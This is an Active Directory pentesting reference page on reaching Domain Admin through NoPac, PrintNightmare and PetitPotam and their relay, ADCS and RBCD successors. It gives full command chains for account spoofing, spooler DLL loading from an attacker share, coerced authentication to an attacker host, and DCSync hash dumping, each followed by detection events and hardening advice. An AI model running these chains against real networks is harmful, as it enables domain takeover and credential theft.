Navigation
Breadcrumb

Active Directory
Privilege Escalation to Domain Admin — Known Exploits & Modern Equivalents menu

Privilege Escalation to Domain Admin — Known Exploits & Modern Equivalents

On this page

The three vulnerabilities below — NoPac, PrintNightmare, and PetitPotam — are still worth knowing, but their role has shifted. On a fully patched 2025–2026 domain, all three are usually closed. What remains is the attack primitive each one demonstrated, and that primitive is now delivered through modern tooling: NetExec modules for NoPac, detection-resistant coercion for PetitPotam, and the coercion → NTLM relay → ADCS/RBCD chain that survives patch cycles because it abuses configuration, not a missing update.

This page covers each exploit, its modern equivalent, and the detection and hardening that tells you whether it is still viable in a given environment.


1. NoPac (CVE-2021-42278 + CVE-2021-42287)

sAMAccountName Spoofing — any standard domain user with machine-account creation rights escalates to Domain Admin by creating a machine account, renaming it to match a DC, obtaining a TGT under that name, then exploiting the KDC’s fallback behaviour to obtain a service ticket with the DC’s privilege context.

1.1 The primitive

  • CVE-2021-42278 — a machine account’s sAMAccountName can be set to a value that violates the naming convention (specifically, the trailing $ can be removed). The DC’s machine account is DC01$; the attacker’s account becomes DC01.
  • CVE-2021-42287 — when the KDC cannot find the account named in a TGT request, it appends $ and retries. The attacker requests a TGT as DC01, restores the machine account name, and the KDC falls back to DC01$ — issuing a service ticket with the real DC’s privilege context .

1.2 Prerequisites

RequirementCheck
ms-DS-MachineAccountQuota > 0 (default 10)nxc ldap <DC> -u <user> -p <pass> -M maq
DC not patched with KB5008380 / KB5008602 (November 2021)systeminfo / patch level
Any standard domain userNo admin rights required

1.3 Modern tooling — NetExec module (fastest check)

# Confirm the DC is vulnerable in one module
nxc smb $DC_IP -u $USER -p $PASSWORD -M nopac
# Output: [+] NoPac vulnerability confirmed

The maq module reports the quota; the nopac module performs the exploit attempt and reports success or failure. This is the lowest-friction way to triage a host before reaching for noPac.py.

1.4 Automated exploit — noPac.py (Ridter)

git clone https://github.com/Ridter/noPac.git

# Scan
python3 noPac.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP -use-ldap

# Shell as administrator
python3 noPac.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP -use-ldap \
  --impersonate administrator -shell

# Dump all domain hashes
python3 noPac.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP -use-ldap \
  --impersonate administrator -dump

# Dump a single account
python3 noPac.py $DOMAIN/$USER:$PASSWORD -dc-ip $DC_IP -use-ldap \
  --impersonate administrator -dump -just-dc-user administrator

noPac.py handles the full chain: create machine account → rename → request TGT → restore name → S4U2Self → impersonate . The tool prints each step ([*] Machine account added, [*] Renamed to: DC01, [+] Got shell as Administrator).

1.5 Manual chain (Impacket + bloodyAD) — when noPac.py is blocked

# Step 1 — create a machine account
impacket-addcomputer $DOMAIN/$USER:$PASSWORD -computer-name 'EVILPC$' \
  -computer-pass '$COMPUTER_PASSWORD' -dc-ip $DC_IP

# Step 2 — rename sAMAccountName to the DC hostname (NO trailing $)
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $DC_IP \
  set object 'CN=EVILPC,CN=Computers,$BASE_DN' sAMAccountName '$DC_HOSTNAME'

# Step 3 — request a TGT for the renamed account
impacket-getTGT $DOMAIN/$DC_HOSTNAME:'$COMPUTER_PASSWORD' -dc-ip $DC_IP

# Step 4 — restore the machine account's sAMAccountName
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $DC_IP \
  set object 'CN=EVILPC,CN=Computers,$BASE_DN' sAMAccountName 'EVILPC$'

# Step 5 — S4U2Self: impersonate administrator via the TGT for DC_HOSTNAME
export KRB5CCNAME=$DC_HOSTNAME.ccache
impacket-getST -self -impersonate administrator -spn 'cifs/$DC_FQDN' \
  $DOMAIN/$DC_HOSTNAME -k -no-pass -dc-ip $DC_IP

The manual chain is more visible (multiple LDAP writes and a machine-account creation) but works when a tool-specific signature blocks noPac.py.

1.6 Detection and hardening

SignalWhere
Machine account created just before a rename4741
sAMAccountName changed on a machine account to a value matching a DC (no $)5136
TGT requested for the spoofed name, followed by an S4U2Self request4768, 4769 with Transited Services
DCSync after the S4U2Self ticket4662 with DS-Replication-Get-Changes-All

Microsoft Defender for Identity has a built-in NoPac detection that alerts on the sAMAccountName spoofing pattern — verify it is enabled and fires with a test .

Hardening: apply KB5008380 / KB5008602, set ms-DS-MachineAccountQuota to 0 where operationally possible, and alert on 5136 changes to sAMAccountName on computer objects.


2. PrintNightmare (CVE-2021-1675 / CVE-2021-34527)

A flaw in the Windows Print Spooler’s RpcAddPrinterDriverEx() that lets any authenticated user load a printer-driver DLL that executes as NT AUTHORITY\SYSTEM — both local privilege escalation and, against a remote spooler, RCE.

2.1 The primitive

The Spooler service loads a DLL specified by the attacker — from a local path or a UNC path to a remote share — and executes it as SYSTEM without sufficient privilege checks . The DLL is stored in C:\Windows\System32\spool\drivers\x64\3\ after loading.

2.2 Prerequisites (all must hold)

RequirementCheck
Spooler runningsc query spooler / Get-Service Spooler
Unpatched (< June 2021)systeminfo
PointAndPrint weakening (if patched but misconfigured)See registry section below
EnableLUA = 0 (UAC disabled) — for the local variantreg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA

2.3 Modern exploitation

Check the RPC interfaces:

rpcdump.py @$DC_IP | egrep 'MS-RPRN|MS-PAR'

If MS-RPRN or MS-PAR is exposed, the spooler is reachable.

Host the DLL on an SMB share — Impacket’s smbserver.py now supports anonymous access natively (PR #1109), so no separate anonymous-SMB server is required:

# Share the DIRECTORY containing the DLL, not the DLL itself
sudo smbserver.py -smb2support CompData /path/to/dll/

Run the exploit (cube0x0’s Impacket implementation):

git clone https://github.com/cube0x0/CVE-2021-1675.git
# Requires cube0x0's impacket fork for the exploit module
sudo python3 CVE-2021-1675.py $DOMAIN/$USER:$PASSWORD@$DC_IP \
  '\\$ATTACKER_IP\CompData\backupscript.dll'

Detect with ItWasAllADream — a scanner that checks a whole subnet without exploiting:

git clone https://github.com/3ndG4me/ItWasAllADream && cd ItWasAllADream
poetry install && poetry shell
itwasalladream -u user -p Password123 -d domain 10.10.10.0/24

2.4 PrintNightmare as a local-privesc (Spooler on the local host)

The same primitive works locally: register a driver DLL from a local path and the Spooler loads it as SYSTEM. This is the Invoke-Nightmare path (-NewUser / -NewPassword or -DLL), and it requires Spooler running + unpatched or PointAndPrint weakened.

2.5 Detection and hardening

SignalWhere
Printer driver added — especially a non-standard DLL nameEvent 316 (PrintService Operational), Event 808
spoolsv.exe loading a DLL from a user-writable path or a UNC shareSysmon 7
PointAndPrint registry keys weakenedSysmon 13 on HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint

Event 316 is the most reliable detection: it fires when a new printer driver is installed, and the DataFile field contains the DLL name. Baseline legitimate drivers (UNIDRV.DLL, kernelbase.dll) and alert on anything else .

Hardening:

  • Patch (June 2021 updates).

  • Disable the Spooler on DCs and any host that does not print — this removes the coercion surface entirely.

  • If the Spooler must run, enforce Point and Print restrictions: the PointAndPrint registry key should not exist, or its values should be 0:

    HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint
    

    Check for RestrictedDriverInstallation, UpdatePromptSettings, and NoWarningNoElevationOnInstall. A NoWarningNoElevationOnInstall = 1 reopens the local escalation path even on patched hosts .


3. PetitPotam (CVE-2021-36942)

An NTLM coercion primitive that abuses the Encrypting File System Remote Protocol (MS-EFSRPC) to force a target — often a Domain Controller — to authenticate to an attacker-controlled host. It is not an escalation by itself; its value is as the first half of a relay chain.

3.1 The primitive, and what patching did

PetitPotam uses EfsRpcOpenFileRaw (and other EFS RPC methods) to coerce authentication over \pipe\lsarpc or \pipe\efsrpc. The original unauthenticated vector (EfsRpcOpenFileRaw over \pipe\lsarpc) was patched in August 2021. Other methods still trigger coercion on patched systems, but require authentication :

MethodPipeUnauthenticated (unpatched)Patched
EfsRpcOpenFileRaw\pipe\lsarpcYesBlocked
EfsRpcEncryptFileSrv\pipe\efsrpcNoPartially
EfsRpcDecryptFileSrv\pipe\efsrpcNoPartially
EfsRpcQueryUsersOnFile\pipe\efsrpcNoPartially
EfsRpcQueryRecoveryAgents\pipe\efsrpcNoPartially

Practical consequence: on a fully patched 2025–2026 DC, unauthenticated PetitPotam is dead. Authenticated PetitPotam — with any domain user — still triggers coercion via the efsrpc pipe methods. That is why PetitPotam remains relevant as the coercion step in a relay chain, not as a standalone exploit.

3.2 The classic chain — PetitPotam → ADCS ESC8 → Domain Admin

This is the highest-impact PetitPotam use case, and it is still viable wherever ADCS Web Enrollment accepts NTLM :

# 1. Start the relay targeting the CA's web enrollment endpoint
sudo ntlmrelayx.py -t http://$CA_IP/certsrv/certfnsh.asp -smb2support \
  --adcs --template DomainController

# 2. Coerce the DC (authenticated on patched systems)
python3 PetitPotam.py -u $USER -p $PASSWORD -d $DOMAIN $ATTACKER_IP $DC_IP

# 3. ntlmrelayx prints a base64 PFX; save it and authenticate
certipy auth -pfx dc01.pfx -dc-ip $DC_IP

# 4. DCSync with the DC machine TGT
export KRB5CCNAME=dc01.ccache
impacket-secretsdump -k -no-pass $DOMAIN/DC01$@$DC_FQDN

The BloodHound edge CoerceAndRelayNTLMToADCS models exactly this path — the target computer can be coerced to authenticate to an ADCS server, and the authentication relayed to an ESC8-vulnerable endpoint .

3.3 PetitPotam → LDAP relay → RBCD

When the CA is hardened but LDAP signing / channel binding is not enforced, the same coercion feeds an RBCD setup instead :

# Relay to LDAPS and configure RBCD in one step
sudo impacket-ntlmrelayx -smb2support -t ldaps://$DC_IP \
  --delegate-access --remove-mic

# Coerce the DC (authenticated)
python3 PetitPotam.py -u $USER -p $PASSWORD -d $DOMAIN $ATTACKER_IP $DC_IP

--delegate-access tells ntlmrelayx to create a machine account and set RBCD on the relayed target. --remove-mic strips the MIC, allowing the relay to succeed even when signing is enforced — the CVE-2025-54918 / Drop-the-MIC lineage.

3.4 Alternative coercion tools

ToolInterfaceAuth required
PetitPotamMS-EFSRPCYes on patched systems
PrinterBugMS-RPRNYes (domain user)
DFSCoerceMS-DFSNMYes (domain user)
CoercerMeta-tool — tries all vectorsVaries
# Coercer — tries every vector
python3 Coercer.py -u $USER -p $PASSWORD -d $DOMAIN $ATTACKER_IP $DC_IP

# DFSCoerce
python3 dfscoerce.py -u $USER -p $PASSWORD $ATTACKER_IP $DC_IP

3.5 Detection and hardening

SignalWhere
Named-pipe access to lsarpc / efsrpc / spoolss / netdfs from an unexpected client5145
NTLM authentication to a service that should use Kerberos4624 with AuthenticationPackageName: NTLM
Source IP does not match the claimed workstation4624 type 3 — the relay tell
Machine account authenticating to the CAADCS ESC8 relay

The 5145 event is the most specific coercion detection: it records named-pipe access, and \pipe\lsarpc / \pipe\efsrpc access from a client that does not normally use EFS is a strong signal .

Hardening:

  • Patch August 2021 (CVE-2021-36942) — but do not assume patching closes authenticated coercion.
  • Disable the Print Spooler on DCs (removes PrinterBug).
  • Enforce LDAP signing and channel binding — this closes the relay-to-LDAP half of the chain.
  • Enable EPA (Extended Protection for Authentication) on ADCS Web Enrollment — this is the specific mitigation for ESC8.
  • Monitor 5145 for EFS RPC pipe access, and baseline NTLM so that relayed authentication stands out.

4. When the Classic Exploits Are Patched — What Still Works

On a current, fully patched domain, the three exploits above are usually closed. The primitives they demonstrated remain, and these are the modern equivalents:

PrimitiveModern pathRequires
Coercion → relay → ADCSESC8 with ntlmrelayx --adcsADCS Web Enrollment accepting NTLM; EPA not enforced
Coercion → relay → LDAP → RBCDntlmrelayx --delegate-access --remove-micLDAP signing/channel binding not enforced; --remove-mic for patched hosts
Machine-account creation abuseRBCD (addcomputer + rbcd.py)MachineAccountQuota > 0; write access to the target computer
Certificate impersonationESC1 / ESC15 / ESC17 / CertighostVulnerable template or CA fallback enrollment
Kerberos ticket forgeryDiamond TicketA valid TGT base; avoids the “never logged in” anomaly
NTLM reflection without relay targetCVE-2025-33073SMB signing disabled on any domain-joined host

The shift: NoPac, PrintNightmare, and PetitPotam were vulnerability exploits. The modern equivalents are configuration exploits — RBCD, ESC8, ESC1, coercion-relay chains. They survive patch cycles because they abuse default permissions and missing hardening, not a missing update.


5. Quick Reference

ExploitFastest checkModern exploitPayoff
NoPacnxc smb $DC -u $U -p $P -M nopacnoPac.py --impersonate administrator -shellDomain Admin / DCSync
PrintNightmarerpcdump.py @$DC | egrep 'MS-RPRN|MS-PAR'smbserver.py + CVE-2021-1675.pySYSTEM on the spooler host
PetitPotamnxc smb $DC -u $U -p $P -M coerce_plusntlmrelayx --adcs or --delegate-access + PetitPotam.pyDC certificate or RBCD

When all three are patched:

# RBCD — the configuration path that survives patching
impacket-addcomputer $DOMAIN/$USER:$PASS -computer-name 'EVIL$' -computer-pass 'P@ss' -dc-ip $DC
impacket-rbcd -delegate-from 'EVIL$' -delegate-to 'TARGET$' -action write -dc-ip $DC $DOMAIN/$USER:$PASS
impacket-getST -spn cifs/$TARGET_FQDN -impersonate administrator -dc-ip $DC '$DOMAIN/EVIL$:P@ss'

6. Field Notes

  • NoPac’s detection gap is the machine-account creation. A 4741 followed by a 5136 rename to a DC name is the chain — if you do not alert on 5136 for sAMAccountName, the exploit is invisible.
  • PrintNightmare’s detection is Event 316, not 4624. The driver-install event is the specific signal; a successful exploitation does not necessarily produce an anomalous logon.
  • PetitPotam is no longer a standalone exploit. Unauthenticated is patched; the value is authenticated coercion feeding a relay chain.
  • --remove-mic is the modern relay enabler. It bypasses signing enforcement on hosts that would otherwise reject the relay — check the patch level before assuming relay is blocked.
  • RBCD is the post-patch equivalent of NoPac. Both abuse machine-account trust, but RBCD abuses a write primitive rather than a naming flaw — and it survives every patch cycle.
  • ADCS ESC8 is the post-patch equivalent of PrintNightmare’s impact. Both yield a DC-level credential; ESC8 abuses NTLM enrollment rather than a spooler RPC.
  • MachineAccountQuota = 0 closes NoPac and RBCD’s machine-account step. It is the single highest-value hardening change for these paths.

This page sits alongside the NTLM Relay and ADCS Attacks notes: the classic exploits are the entry point, and the relay/ADCS/RBCD chains are what you actually use when the host is patched.